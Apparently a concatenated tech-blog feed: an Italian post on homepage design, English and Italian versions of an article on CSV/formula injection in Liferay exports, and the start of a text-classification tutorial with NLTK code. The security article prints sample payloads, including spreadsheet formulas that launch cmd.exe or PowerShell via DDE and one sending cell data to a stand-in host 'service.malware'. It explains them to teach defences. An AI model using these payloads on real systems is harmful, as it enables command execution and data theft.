Un esempio? Ce lo riporta il sito https://www.spacejam.com/ dove ogni elemento nella home rappresenta il link ad una pagina del sito.

Fonte: www.spacejam.com. 23 Ottobre 2020.

⏳ Homepage ai giorni d'oggi

Questa interpretazione della homepage era giustificata dal modo con cui gli utenti accedevano ai siti: tipicamente digitando direttamente il dominio e da lì recuperando le informazioni che cercavano. Una homepage che aiutasse i visitatori a muoversi nel sito era più che adeguata.

Ai giorni d'oggi la homepage ha una responsabilità diversa perché gli utenti raggiungono i contenuti in maniera più profonda rispetto al passato poiché i motori di ricerca tendono a portare gli utenti nelle pagine specifiche di loro interesse. Similmente, nei social media, tendiamo noi in prima battuta a condividere pagine più specifiche per dare seguito a una campagna di promozione di un servizio, di un prodotto o di una iniziativa.

Gli utenti finiscono sulla nostra homepage quando non hanno un'opzione migliore o quando raggiunta una pagina più profonda, vogliono salire di livello e comprendere con più chiarezza il contesto in cui si trovano.

É ormai un pattern da rispettare quello per cui il logo in alto a sinistra ci porti all'homepage. Quante volte lo abbiamo cliccato dopo essere finiti su una pagina di un articolo, di un blog o su una pagina di dettaglio?

✏️ Progettazione della Homepage

Una volta chiarita che cosa rappresenta l'Homepage ai giorni d'oggi possiamo passare alla progettazione della pagina.

Per prima cosa avremo bisogno di individuare l'audience a cui è rivolto il nostro sito per poterne ricavare alcune informazioni utili come:

gli obiettivi a cui l'homepage deve rispondere;
gli assi per poter classificare i visitatori;
come i visitatori sono suddivisi in segmenti;
le necessità primarie (di ogni segmento e della nostra homepage in generale).

Infine, individuate queste informazioni si può procedere con la "targetizzazione del contenuto" in base alla audience.

Capiamo meglio di cosa stiamo parlando tramite un esempio.

📗 Il caso Open Square Digital Lake per l'ECM

Per raccontarvi come approcciamo le homepage in SMC vorremmo portarvi un esempio interno: il sito di presentazione commerciale della soluzione Open Square Digital Lake per fare l'Enterprise Content Management (o ECM), che per riferimento potete trovare all’url https://ecm.opensquare.it/

Fonte: https://ecm.opensquare.it. 30 Marzo 2021.

L'obiettivo della nostra Homepage è quello di poter essere materiale a supporto delle attività commerciali e di marketing per la promozione della nostra soluzione.

Una delle difficoltà che avevamo nel progettare questo sito è che la piattaforma Open Square Digital Lake offre prodotti e soluzioni per rispondere alle problematiche delle PMI italiane ma, il sito tratta soltanto una specifica parte di questo, ovvero gli strumenti per la digitalizzazione e standardizzazione ed efficientamento dei processi aziendali.

Come fare a progettare un sito su un argomento così complesso per altro parte di una piattaforma così completa?

Questa sfida l'abbiamo affrontata decidendo di segmentare l'audience in base alla propria "customer maturity" e abbiamo agito su due assi:

customer maturity intesa come conoscenza del prodotto Open Square Digital Lake e della nostra realtà aziendale;
customer maturity intesa come conoscenza del dominio: software di gestione documentale e ECM.

Sono emersi quattro segmenti di visitatori che abbiamo così nominato: l'Esperto, il Parco, il New Name e la Lead.

Visitatori del sito di Open Square Digital Lake

🔑 L'Esperto

Rappresenta colui che possiede una cultura sul paradigma dell’Enterprise Content Management e conosce già le caratteristiche di Open Square Digital Lake.

Si tratta di un visitatore esperto, che nel momento della valutazione del prodotto non potrà che metterlo a paragone con altri prodotti simili. Inoltre, le sue esigenze potrebbero essere particolarmente precise ed aver bisogno di informazioni altrettanto precise.

Per questo motivo, la sua necessità primaria sarà quella di consultare tutte le caratteristiche tecniche e funzionali del prodotto in maniera precisa.

🕯️ Il Parco

Rappresenta colui che conosce Open Square Digital Lake ma non possiede nozioni sul paradigma dell’Enterprise Content Management.

Quello di cui ha bisogno è poter comprendere quali sono le funzionalità aggiuntive della soluzione che non ha ancora attivato o abilitato ma, al tempo stesso, non deve confondersi con quelle che ha già a disposizione dall’utilizzo del prodotto stesso.

La sua necessità primaria è quindi quella di vedere evidenziate le informazioni che già conosce per poter comprendere quali sono invece quelle nuove. Lo possiamo fare attraverso l’inserimento di riferimenti (loghi o icone parlanti) delle componenti che già utilizza.

🔎 Il New Name

Rappresenta colui che non conosce Open Square Digital Lake e la nostra realtà aziendale ma ha le idee ben chiare su che cosa è l’Enterprise Content Management.

Il visitatore ha già le adeguate competenze per poter scegliere quale prodotto più si addice alla sua azienda ma ha bisogno di essere motivato su quali sono le qualità che la nostra azienda offre rispetto agli altri concorrenti.

La sua necessità primaria non è solo quella di conoscere il nostro prodotto e le sue funzionalità ma anche conoscere le qualità della nostra azienda e delle persone che ci lavorano.

Alcuni esempi di sezioni per questo segmento di audience potrebbero essere: banner con media che ritraggono il personale della nostra azienda, case study di clienti che hanno adottato la nostra soluzione, contenuto informativo per qualificarci attraverso la nostra partnership.

🗺️ La Lead

Rappresenta colui che non ha conoscenze sul paradigma dell’Enterprise Content Management e non conosce la realtà della nostra azienda.

Risulta molto importante attirare l’attenzione sulle concrete necessità del visitatore e di come il nostro prodotto sia una soluzione alle sue esigenze.

Le sue necessità primarie sono due:

comprendere che le funzionalità descritte su questo sito sono solo una parte di quello che può realmente fare;
essere aiutato nel percorso di apprendimento del dominio fornendogli dati e ragioni di business per valutare l’investimento.

💻 Il contesto

Un altro elemento da tenere in considerazione è il contesto con cui l'utente arriva sulla nostra Homepage.

Ci possono essere varie possibilità, ne elenchiamo alcune:

link diretto,
link inviato per email (presidiato e non presidiato),
link sui social (presidiato e non presidiato),
link su altre pagine (presidiate e non presidiate),
risultati delle ricerche online,
risultati delle ricerche per brand,
risultati delle ricerche per contenuto,
punti di rimando all'interno del sito (logo o link),
e molto altro ancora.

Fa molta differenza se il link viene inviato da un commerciale dell'azienda che vuole promuovere il prodotto (link presidiato) oppure se viene inviato da un cliente che ha avuto un'esperienza positiva con il prodotto (link non presidiato).

Il contenuto della Homepage cambia a seconda del contesto.

Risulta fondamentale prevedere e stabilire quali di questi contesti sono quelli più importanti per noi.

🎓 Risultato

Il risultato di questa analisi ci ha portato a definire che:

dovremo inserire il riferimento di SMC e spiegare che cos'è Open Square Digital Lake assicurandoci che indichi all'utente che sta visitando solo una parte di un insieme ancora più grande;
dobbiamo qualificare SMC e il prodotto per coloro che non ci conoscono;
dobbiamo focalizzarci sui benefici della soluzione senza dare per scontato la competenza di dominio;
dobbiamo permettere a chi è interessato di recuperare tutte le informazioni tecniche necessarie per metterci a confronto con altre soluzioni.

Questo è ciò che la nostra homepage dovrà offrire al visitatore.

Conclusioni

Una volta che abbiamo creato la nostra Homepage o semplicemente abbiamo un'idea chiara di quale sarà il contenuto da inserire, quando possiamo dire che è finalmente completa?

L'Homepage sarà completa quando:

Contiene tutte le informazioni che deve contenere o che ipotizziamo debba contenere.
Abbiamo rimosso tutto ciò che non è strettamente legato agli obiettivi della pagina.
Risponde ai bisogni dei visitatori e li guida all'approfondimento verticale (scroll della pagina) e a quello orizzontale (navigazione del sito).
Contiene le Call to Action che permettono al contenuto di rispondere al proprio scopo informativo o commerciale.

Beware of formulas: Comma Separated Victims

Mon, 04 Jan 2021 00:00:00 GMT

Introduction

How many times have you had to deal with a CSV export plugin?

So many, I guess.

And are you aware about the risks of underestimating some vulnerabilities, that could expose your application to a Remote Command Execution or a Data Breach attack?

If you never heard of a CSV Injection or a Formula Injection attack before, so this article is for you.

In my previous article on SMC techblog, I've already shown you how the Injection attacks can represent a serious risk for your data security, and how to prevent them with Liferay.

So I suggest you to read this: Injection - how to prevent with Liferay in order to better understand the covered topics; anyway if you're aware of the pitfalls behind this kind of attacks and the defense strategies against, you won't find it difficult to continue reading.

In this article I'll explain what are CSV Injection or Formula Injection attacks, the possibile countermeasures to neutralize them and what the Liferay framework APIs can do to safely encode values while exporting in CSV format.

The input validation problem

As you know, the first rule to prevent the injection consists in input validation, refusing such input containing characters that can be useful for the attacker. Unfortunely, is not always so easy to find a regular expression which helps to filter all the undesired characters without excluding those we really need. An example can be the apostrophe character " ' " which is often needed for some countries in first-name or last-name fields, but we'll like to exclude because it is also an attribute token in HTML and also a valid character sequence token in SQL.

So it could be essential to have a robust input validation mechanism: this is the first rule of defense against injection attacks and is also the only way to prevent them.

It would be wise to do not forget the second rule of defense against the injection attacks: the neutralization by output sanitization or output escaping.

Despite all, it can also happen that we are completely unaware about the risks when missing a valid encoding mechanism for the output values in the exported cells, and all the kindness about the output sanitization can be forgotten when we're facing with the development of our custom CSV export plugin.

Nothing more dangerous...

In order to effectively show you the risks, now let's focus on the most difficult input field to validate: the notes field. Often, in a notes multiline field we'll allow space characters, currency symbols ando also the "%" symbol or other special characters.

But in the common case we're not going to validate nor escaping the values of exported cells, because often we're unaware of the pitfalls behind some undesired character sequences when loaded on a spreadsheet.

On the most widespread spreadsheets such as Microsoft Excel or LibreOffice Calc, some formulas could become a security issue.

For instance, if we try inject the following sequence in an input field:

=HYPERLINK("C:\Windows\System32\cmd.exe";"Click me")

the exported CSV will include such hyperlink in the corresponding cell so, when it's clicked by the user, the specified command or application will be executed (even after a confirmation).

The example above will launch the command prompt on the victim's machine; in this way the attacker exploits a Formula Injection in order to get a Remote Command Execution or, more appropriately, an OS Command Injection.

Scary, isn't it?

We can avoid it by input validation via a regular expression, but please note that the spreadsheet will also admit the URL-encoded format as follows:

=HYPERLINK("C%3A%5Cwindows%5Csystem32%5Ccmd.exe")

so here are the reasons why it could be tricky to protect against these kind of attacks when some charatecters like the percent, the equal or the parenthesis are needed and should be taken as a valid input in order to avoid a conflict with the user needs.

Luckily, the hyperlink formula in spreadsheets does not support additional command parameters; in such case we could get an immediate Windows shutdown injecting the following command:

C:\Windows\System32\cmd.exe /C "shutdown /p"

but the execution of other kind of scripts are allowed, such as a .vbs (VBScript) or a .bat (Batch) when the spreadsheet application is running on a Microsoft Windows O/S.

Whenever the victim uses a previous version of Microsoft Excel, or a newer one having the Dynamic Data Exchange service enabled, he/she could expose the entire system to a serious risk, for instance, when executing the following formula:

=cmd|'/K powershell ssh ...omitted...'!A0

Formula Injection attacks are the way to exploit and get other dangerous threats like O/S command execution to unexpectedly run a command, script or whatever executable on the victim's machine.

About the hyperlinks, an attacker can also get a malicious service invocation using the WEBSERVICE formula.

For instance, an attacker can inject a formula to invoke a remote web service, in order to get the content of other cells in the exported CSV. The attacker can perform a formula injection by typing it in a form input field, so the value will be permanently stored in the application database. Later, an user who asks for the data export will get a CSV containing that dangerous value in some cells. The user who receives and open the CSV file, completely unaware, it may also accidentally perform an HTTP request to the malicious service:

=WEBSERVICE(CONCAT("http://service.malware?d="; C6&","&C7&","&C8))

sending the content of one or more data cells via a GET parameter, becoming a victim of a Data Breach attack by a Formula Injection (as could be done by the parameter "d" in the example above, where values from cells C6, C7 and C8 are joined and sent together).

The Liferay API for CSV encoding

The CSVUtil class exposes two public static methods:

encode(Object object)
encode(String s)

the first method will merge the object in a string (in case of arrays), and then calls the latter.

The encode by string can be useful to avoid some issues with the double quotes, the delimiter token, or any other symbol who can interfere when importing or parsing the CSV file.

Altough useful, you have to pay attention: the encode() method will not help you to neutralize the Formula Injection attacks in any way.

Liferay, who takes care about your security, have just released a security patch CST-7058 for Liferay Portal 7.0 CE but it will only give you a way to disable the CSV export for Forms or Dynamic Data Lists components. As also described in a CST-7058 note:

This patch does not "solve" the CSV injection issue since the issue can only be fixed by the spreadsheet program (i.e., this is not a security vulnerability in Liferay Portal). With this patch, administrators will have the ability to disable CSV export for DDL and Form. Administrators can also present a warning about CSV injection to users before the CSV file is exported.

How to neutralize the Formula Injection attacks

Well, now you are probably wondering what are the defense strategies in order to neutralize these kind of attacks.

According to OWASP about the neutralization of CSV Injection or Formula Injection attacks, you have only to ensure that no cells begins with the following symbols:

= (equal)
+ (plus)
- (minus)
@ (at)

in this way we can avoid the spreadsheet formulas to be injected as a value on the exported CSV cells.

Another solution would be prefixing the " ' " apostrophe character to each cell value starting with any of the symbols above.

This, of course, couldn't protect us from the users who are going to delete the prefix apostrophe character, getting the injected formula ready to be (unintentionally?) executed. In such case we can plan other sanitization strategies in order to protect the most proactive users by themselves.

We also suggest to apply the sanitization rule regardless of the presence of one or more double quotes at the beginning of the string. That's because the following value:

"=SUM(1+1)"

will be parsed as a valid formula by the spreadsheet (when loaded from a CSV file) and so it could be unintentionally executed by the user.

Conclusions

Formula Injection attacks can be so dangerous and they can act in several phases:

Phase 1: the attacker injects the malicious formula in one or more input form fields, and it will be also permanently stored in the application database.
Phase 2: a user will ask the application for a CSV export. The exported form data includes the poisoned field value containing the malicious formula previously injected.
Phase 3: the same user, or another user who recevies the exported CSV, will open the CSV with a spreadsheet application such as LibreOffice Calc or Microsoft Excel, and could unintentionally click over the injected malicious hyperlink or execute a formula. In such phase it will also take place the real attack because, as you can guess, a Formula Injection could be exploited to get a most dangerous attack like Remote Command Excecution or Data Breach, executing an Operating Systems command, a script or executable that can damage the host, or also open connections to remote endpoints chosen by the attacker in order to get sensitive or private data.

Unlike the XSS attacks, these attacks acts silently with a long delay with respect to the attack time, and they could be hard to detect.

Like the XSS attacks, however, we can use similar countermeasures:

preventing the attack by the validation of untrusted input values, discarding those who contains illegal character sequences
neutralizing the attack by sanitizing or by prefixing the input values with an apostrophe when possible, for each value starting with the following symbols regardless the presence of one or more starting double quotes:
- = (equal)
- + (plus)
- - (minus)
- @ (at)

So pay attention when developing custom CSV export plugins, applying all the tips described above, and stay tuned to the SMC Techblog's Liferay channel .

Attenti alla formula: Comma Separated Victims

Mon, 04 Jan 2021 00:00:00 GMT

Premessa

Quante volte ti è capitato di aver a che fare con l'export dei dati in formato CSV?

Diverse volte, suppongo.

E sei consapevole dei rischi a cui potresti andare incontro nel sottovalutare alcune vulnerabilità nello sviluppo di una componente per l'export dei dati in formato CSV, aprendo la strada ad una serie di attacchi quali Remote Command Execution e Data Breach?

Se non hai mai sentito parlare di Injection e, più precisamente di Formula Injection o di CSV Injection, allora questo articolo farà certamente al caso tuo.

Nel mio precedente articolo su questo techblog avevo già illustrato come gli attacchi di tipo Injection possono rappresentare un serio rischio per la sicurezza dei tuoi dati, e come prevenirli con Liferay.

La lettura dell'articolo: Injection - come prevenire con Liferay è dunque vivamente consigliata al fine di comprendere al meglio gli argomenti trattati; tuttavia se sei un lettore esperto e già conosci le insidie che si nascondono dietro questo tipo di attacchi e le strategie per neutralizzarli, allora non avrai di certo difficoltà a proseguire con la lettura.

In questo articolo vedremo nel dettaglio in cosa consistono queste tipologie di attacchi, le possibile tecniche per neutralizzarli e come utilizzare al meglio le API offerte dal framework Liferay per il corretto encoding dei valori da esportare in un CSV.

Il problema della validazione degli input

Come saprai, la prima regola per scongiurare gli attacchi di tipo injection consiste nella validazione degli input: ciò consentirà di escludere alcuni caratteri più o meno speciali che potrebbero rivelarsi assai utili per l'attaccante. Purtroppo non sempre è facile definire una espressione regolare che escluda tutti i caratteri non desiderati, eccetto quelli che appartengono propriamente al dominio dell'input e dei quali non possiamo farne a meno. Un esempio può essere il carattere apostrofo " ' " che non possiamo di certo escludere dai campi di input per il nome ed il cognome, ma del quale faremmo volentieri a meno in quanto lo stesso carattere è sia un valido separatore di attributi in HTML che un carattere indispensabile nel linguaggio SQL per definire sequenze di caratteri.

La presenza di un efficace meccanismo di validazione degli input è dunque fondamentale, e rappresenta la prima regola di difesa nonché l'unica strategia per prevenire gli attacchi di tipo injection.

Inoltre è sempre opportuno assicurarsi di non aver trascurato la seconda regola per la difesa dagli attacchi di tipo injection, che consiste nel neutralizzare gli attacchi mediante output sanitization o output escaping.

Nonostante tutte queste precauzioni potrebbe però accadere che, del tutto ignari dei rischi che potrebbero derivare dalla mancanza di una strategia di codifica in output dei valori delle celle che si intende esportare, tutte queste attenzioni che abbiamo dato all'output sanitization vengono poi trascurate quando ci troviamo di fronte ad una componente per l'esportazione del CSV.

Niente di più pericoloso...

Per mostrarti in modo efficace il rischio che stai correndo, concentriamoci ora su uno dei campi di input più insidiosi da validare: il campo note. Spesso, per dare più libertà all'utente, oltre ai caratteri alfanumerici in un campo note multilinea sono consentiti i caratteri di punteggiatura ed alcuni simboli di valute oltre al simbolo "%" percentuale o altri caratteri speciali.

Ma nelle situazioni più comuni non effettuiamo alcun tipo di validazione né di escaping dei valori delle celle esportate nel CSV, perché in genere non sospettiamo affatto delle insidie che possono nascondersi dietro l'interpretazione di valori non desiderati in un foglio di calcolo.

Nei fogli di calcolo più diffusi nelle Office suite, come LibreOffice Calc o Microsoft Excel, alcune funzioni del foglio di calcolo possono rivelarsi un serio problema dal punto di vista della sicurezza.

In particolare, potremmo inserire in uno dei campi di input in un form la sequenza:

=COLLEG.IPERTESTUALE("C:\Windows\System32\cmd.exe";"Apri la pagina web")

Una volta richiesta l'esportazione in formato CSV, nella cella corrispondente verrà mostrato un link che consentirà all'utente di eseguire (previa conferma) il comando al percorso indicato.

Nell'esempio aprirà il prompt dei comandi sulla macchina della vittima; in questo modo l'attaccante è riuscito a sfruttare un attacco Formula Injection al fine di ottenere poi l'esecuzione di un comando del Sistema Operativo (Remote Command Execution o più propriamente OS Command Injection)

Allarmante, vero?

Del resto potremmo ovviare semplicemente con l'aggiunta di qualche meccanismo di validazione, se non fosse per il fatto che, trattandosi di hyperlink, di certo il foglio di calcolo potrà interpretare correttamente anche la seguente stringa in formato URL encoded:

=COLLEG.IPERTESTUALE("C%3A%5Cwindows%5Csystem32%5Ccmd.exe")

ecco dunque il motivo per il quale potrebbe risultare complicato proteggersi da un attacco di questo tipo nei casi in cui alcuni simboli come il percentuale, l'uguale o le parentesi tonde debbano essere accettati in input a meno di non voler limitare l'applicazione venendo meno alle necessità concordate con l'utente.

Per fortuna i fogli di calcolo che supportano questa tipologia di formule consentono la sola esecuzione del file indicato sul percorso e non il passaggio dei parametri, altrimenti potremmo effettuare lo shutdown immediato di un Sistema Operativo Windows iniettando il comando:

C:\Windows\System32\cmd.exe /C "shutdown /p"

ma ciò è soltanto una magra consolazione se pensiamo che invece è ammessa l'esecuzione di script, come i .vbs (VBScript) o i .bat (Batch) nel caso di Microsoft Windows.

Qualora la vittima utilizzasse invece versioni precedenti della suite Office oppure una versione recente in cui è abilitato il servizio Dynamic Data Exchange, allora potrebbe anche rischiare di subire un attacco ben più grave che consente l'esecuzione di comandi stavolta anche con il supporto dei parametri:

=cmd|'/K powershell ssh ...omitted...'!A0

Attacchi di questo tipo mediante Formula Injection sono dunque degli stratagemmi per arrivare ad altre tipologie di attacchi ben più pericolosi quali l'esecuzione di un comando del Sistema Operativo o lanciare una applicazione in modo indesiderato.

Dal momento che si accennava agli hyperlink, un attaccante potrebbe sfruttare un attacco di questo tipo anche per l'invocazione di servizi web malevoli mediante la funzione per l'invocazione dei servizi web.

Ad esempio, un attaccante potrebbe sfruttare una tale vulnerabilità per iniettare una formula che consenta l'invocazione di un servizio web a sua scelta, al fine di ricevere i dati contenuti nelle altre celle. Tale formula potrà essere iniettata in un campo di input di un form, per essere poi salvata nel database applicativo. In un secondo momento, un utente che richiederà l'export dei dati otterrà così il file CSV in cui il valore di una delle cella conterrà questa formula potenzialmente dannosa. L'utente che aprirà il file CSV, ignaro di tutto, potrebbe (involontariamente) invocare una HTTP Request verso il servizio malevolo:

=SERVIZIO.WEB(CONCATENA("http://service.malware?d="; C6&","&C7&","&C8))

passando nei parametri in GET i dati contenuti in determinate celle, essendo così vittima di un attacco di tipo Formula Injection ai fini di un Data Breach (come avviene con il parametro "d" che nell'esempio contiene la concatenazione dei valori presenti nelle celle C6, C7 e C8).

Le API di Liferay per l'encoding del CSV

La classe CSVUtil espone i seguenti metodi statici:

encode(Object object)
encode(String s)

il primo metodo, nel caso di un array, effettuerà la concatenazione dei valori mediante l'operazione di merge, per invocare poi l'altro metodo encode.

Utilizzare l'encoding dei valori in output eviterà eventuali occorrenze di apici doppie o altri caratteri che possono creare problemi in fase di interpretazione del CSV.

Benché utile dobbiamo comunque prestare attenzione al fatto che il metodo encode(), purtroppo, non avrà alcuna efficacia nel neutralizzare gli attacchi di tipo Formula Injection.

Liferay, sempre attenta ai problemi di sicurezza, ha già da tempo rilasciato una patch di sicurezza CST-7058 il cui obiettivo però consiste esclusivamente nell'impedire l'esportazione in formato CSV per le componenti Forms e Liste Dati Dinamici. Come descritto in una nota nella CST-7058:

This patch does not "solve" the CSV injection issue since the issue can only be fixed by the spreadsheet program (i.e., this is not a security vulnerability in Liferay Portal). With this patch, administrators will have the ability to disable CSV export for DDL and Form. Administrators can also present a warning about CSV injection to users before the CSV file is exported.

Come neutralizzare gli attacchi Formula Injection

Arrivati a questo punto ti starai chiedendo quali sono le strategie utili a neutralizzare questo tipo di attacchi.

In accordo con quanto consigliato da OWASP in merito alle strategie di neutralizzazione degli attacchi di tipo CSV Injection o Formula Injection, sarebbe sufficiente assicurarsi che il contenuto di nessuna cella inizi per:

= (uguale)
+ (più)
- (meno)
@ (chiocciola)

in questo modo si eviterebbe al foglio di calcolo di interpretare come formula il valore contenuto nella cella.

Qualora non fosse possibile possiamo anteporre il carattere apostrofo " ' " al valore della cella, anche se ciò non ci renderà immuni da quell'utente che decida (inconsapevolmente?) di eliminare l'apostrofo.

In tal caso potremmo adottare strategie più o meno invasive di sanitizzazione al fine di proteggere anche gli utenti più intraprendenti da se stessi.

Suggeriamo inoltre di applicare le regole sopraindicate indipendentemente dalla presenza di uno o più caratteri di apice doppia all'inizio del valore. Questo perchè la seguente:

"=SOMMA(1+1)"

verrebbe interpretata come una formula valida dal foglio di calcolo quando caricata da un CSV, con il conseguente rischio di essere eseguita inavvertitamente dall'utente.

Conclusioni

Gli attacchi di tipo Formula Injection possono rivelarsi molto dannosi e la loro azione avviene in diverse fasi:

Fase 1: l'attaccante sfrutta uno o più campi di input in un form per iniettare la formula, che verrà così salvata sul database insieme agli altri campi.
Fase 2: un utente accede all'applicazione ed effettua l'esportazione in formato CSV dei dati precedentemente salvati. Tra questi vi è il campo contenente come valore formula iniettata precedentemente.
Fase 3: lo stesso utente, oppure un altro utente che riceverà il file esportato, aprirà il CSV con un programma (foglio di calcolo) quali LibreOffice Calc o Microsoft Excel, ed inavvertitamente potrebbe cliccare su un link malevolo o eseguire la formula presente in una delle celle. In questa fase avrà luogo l'attacco vero e proprio dal momento che, come avrete già intuito, un attacco Formula Injection è una strategia utilizzata per veicolare altri tipi di attacchi ben più dannosi quali il Remote Command Excecution e Data Breach che possono eseguire comandi o applicazioni del Sistema Operativo mettendo a rischio il funzionamento dell'intero sistema, oppure aprire connessioni verso servizi remoti scelti dall'attaccante per l'invio di dati sensibili.

A differenza degli attacchi di tipo XSS, queste tipologie di attacchi agiscono silenziosamente ed anche a notevole distanza di tempo rispetto all'istante in cui avvengono, e possono essere più complicati da individuare.

In modo simile agli attacchi di tipo XSS, le contromisure che possiamo adottare al fine di proteggerci da questo tipo di attacchi consistono nel:

prevenire l'attacco mediante opportuna validazione dei campi di input;
neutralizzare gli attacchi escludendo in output o anteponendo il carattere apostrofo " ' " ai valori che iniziano per uno dei simboli sottoelencati indipendentemente dalla presenza di eventuali doppie apici iniziali :
- = (uguale)
- + (più)
- - (meno)
- @ (chiocciola)

Prestate dunque molta attenzione alle vostre componenti di esportazione in CSV, applicando dove possibile i suggerimenti riportati in questo articolo, e restate sintonizzati sul canale Liferay - Techblog SMC.

Per ulteriori approfondimenti:

Text Classification using Machine Learning

Mon, 21 Dec 2020 00:00:00 GMT

This article is part of the series dedicated to the most relevant Natural Language Processing tasks. Learn more also the others starting from first article.

Also for an introduction on the basic aspects of Machine Learning read the article Machine learning and applications for industry.

Text Classification

This article discusses the task of text classification.

With text classification we refer, in fact, to the use of supervised approaches of classification type, with the goal of associating textual content with characteristics and classes defined a priori.
Examples of text classification are:

Sentiment Analysis: for example classify reviews with respect to sentiment (negative and positive)
Ticket Classification: associate support tickets to the reference category, rather than by urgency
Document Tagging: classify textual content by associating them with multiple textual classes

These are just some of the possible applications that can be achieved through text classification. Fall within this fiel, all applications that consist in classifying textual contents with respect to a set of labels or classes defined a priori.

Figura 1 - Binary classification: Sentiment Analysis

In relation to the examples listed, we can collect the textual classification tasks with respect to three different types:

Binary classification: the number of classes/labels to associate the contents with is equal to two
Multiclass classification: the number of classes/labels to associate the contents with is equal to n, with n> 2
Multiclass multilabel classification: multiclass classification where each content can be associated with more than one class, and therefore have more than one label

Figure 2 - Multiclass Classification: Medical Diagnoses

To face a textual classification task according to one of these approaches it is necessary to carry out these three steps:

label the data: build a training set of textual contents labeled with the features against which you want to perform the classification
transform and process the text: the textual contents need both a preprocessing phase, necessary to put the textual content into a more suitable form for the task to be carried out, and a phase of transformation of the contents to make them readable and analysable by the algorithms of machine learning that can be used
model training: the actual phase of training the model using some reference algorithm

Let's see in the following sections how to accomplish this.

Data labeling

The data labeling phase is fundamental to be able to train a Machine Learning model for text classification. Being a supervised approach, nothing can be done without labeled data.

It may happen that you want to build applications for which you already have labeled data. This is because you already have a historian of data tagged thanks to the work done in the past by users, rather than by the employees of the task.
Let's think about the Ticket Classification task.
If the goal is to create a Machine Learning model capable of classifying support tickets with respect to their category, i must have a dataset of past tickets tagged with their respective categories.
I could easily find this data by using all the past tickets that employees have already associated with their categories when they did this work "by hand" to direct the ticket to the most suitable department or person. In a context of this type, it is enough for me to find the data and place them in a readable and usable form for training. Typically a csv file.

If you do not have labeled data available, and therefore only have the textual content to be used for training, then you can use textual annotators to tag the data in an agile and efficient way.
Doccano, for example, is a well structured and open source annotator.
Another annotator, this one for a fee, is Prodigy. It is an advanced and enhanced annotator through the concept of active learning; is developed by Explosion.ai, creators of the opensource library of NLP Spacy.

Once annotated, the data can be easily exported in csv format and then read and manipulated through ad hoc libraries such as Pandas.

Preprocessing and data transformation

1. Preprocessing and cleaning of the text

L'attività di trasformazione e preprocessing dei dati è molto importante in qualsiasi task di Machine Learning, ma nel contesto della Classicazione testuale e più in generale dell'elaborazione del linguaggio naturale è molto rilevante.

Textual content generally contains a lot of information within it, and not all of this information is relevant to the Classification to carry out.
Much of the textual content very often has no relevance to the result produced; on some occasions it can represent instead noise that distorts the classification produced by the model.
For example in the context of Sentiment Analysis, in a review, I can find adjectives like very good rather than very bad which have a specific weight in identifying the sentiment of the content. Other terms, on the other hand, say nothing in this sense.

Furthermore, in natural language a concept can be expressed with terms that have the same root but different declension. Those terms represent the same concept, but having a different declination the Machine Learning model could make it difficult to understand it. And punctuation, too, very often just introduces noise into the text analysis.

For all these reasons it is very important to carry out preprocessing activities of the text in order to minimize all effects as much as possible unwanted caused by irrelevant information present in the text.

These activities can be of different types and deeply linked to the task that is taking place. However, there are some preprocessing activities that they are almost always done when approaching nlp tasks.

A very simple first activity is that of tokenization of the text.
The following actions can then be performed:

Remove stopwords: remove from the text all those parts of the speech which in a language do not usually represent information relevant, such as articles, propositions, conjunctions, etc... Furthermore, this activity can be carried out by stopping on the basis of a your own list of words to remove, based on the context and the type of domain you are working on.
Remove punctuation: punctuation almost never represents relevant information and therefore better to remove it

Figure 3 - Stopwords and punctuation removal

Stemming: stemming is a very common process in search engines which consists in reducing a term from the inflected form to its root, with the aim of minimizing the effect of the presence of different morphological variations which however have the same semantic meaning. There are two approaches to stemming. A first based on a dictionary, similar to what happens for the removal of stopwords. A second rule-based algorithmic type, for example Porter's Stemmer.
Lowercasing: transform all text into lowercase characters in order to avoid differentiation based on the character

Figure 4 - Stemming e lowercasing

NLP libraries like Nltk or Spacy offer pre-defined functionality to perform these tasks.
Let's see for example how to carry out these activities through Nltk.

from nltk.corpus import stopwords  
from nltk.tokenize import word_tokenize
from nltk.stem import PorterStemmer 
  
example_sent = """This is a sample sentence, 
                  showing off the stop words filtration."""

# stopwords list 
stop_words = set(stopwords.words('english'))

# stemmer
ps = PorterStemmer() 

# tokenization
word_tokens = word_tokenize(example_sent)  

# stoppping
filtered_sentence = [w for w in word_tokens if not w in stop_words]  

# stemming
stemmed_sentence = [ps.stem(w) for w in filtered_sentence]
  
print(word_tokens)  
print(filtered_sentence)
print(stemmed_sentence)

Source Code 1 - Preprocessing of the text

2. Text transformation

Once the preprocessing activities on the text have been completed, an important step follows which is the transformation of the contents into a form such that it can be given as input to the Machine Learning algorithms.
Algorithms are not able to directly analyze textual words, and therefore a transformation activity must be carried out in a representation numerical and/or vectorial.

There are several methods for representing textual content. Each of this representation uses the concept of vocabulary. Let's see what they are and how they work.

Bag of Words

The Bag of Words model consists of a vector representation where each textual content is transformed into a V-dimensional vector, with V representing the cardinality of the vocabulary. In particular we will have that each component of the vector will assume a value equal to zero if the term is not present, otherwise a corresponding value the number of occurrences of that term in the text.

Figure 5 - Bag of Words

Tf-idf

Tf-Idf stands for Term Frequency/Inverted Document Frequency. It is a vector representation similar to that of the Bag of Words method, but for the terms present in the text, rather than the number of occurrences, this value Tf-Idf is used, defined as the ratio between the Term Frequency and the Inverse Document Frequency. The Term Frequency is the frequency of the term within the document. The Inverse Document Frequency is a measure of how much the term occurs within the entire corpus (in how many documents essentially). Compared to the Bag of Words model, this representation therefore emphasizes "relevant" terms such as those that:

appear frequently in a document ("common locally")
appear frequently in the corpus ("rare globally") Given these characteristics, this representation is therefore always preferred to the Bag of Words one, which is simpler and therefore less full of meaning.

Figure 6 - Tf-Idf

Text to sequence of numbers

A final representation, mainly used in the context of neural networks, is that which involves transforming each textual content into one sequence of integers, where each integer maps a specific token into a specific vocabulary. This representation is very often used together with the use of Word Embedding.

Figure 7 - Text to sequence

The chosen representation, very often, depends on the algorithm used and the type of task to be faced. In the vast majority of cases the approach is to use a Tf-Idf model with "classic" algorithms, and a Text to Sequence representation with Deep Learning approaches. In the next section we will see the application and use of these transformations, in the context of the actual training of models for textual classification.

Model training

We have seen what are the best practices regarding text processing and transformation. Now let's see how to train our models. Various algorithms are present at the state of the art which, depending on the context, prove to be very suitable for the classification task textual. Among the classic approaches we find Bayesian Classifier, Support Vector Machine, Logistic Regression. On the other hand, among the approaches of Deep Learning types, convolutional networks are very effective, but in some cases also recurring networks.

Here are two examples of model training that can rank support tickers against their category. using first a Bayesian Classifier and then a Convolutive Neural Network.

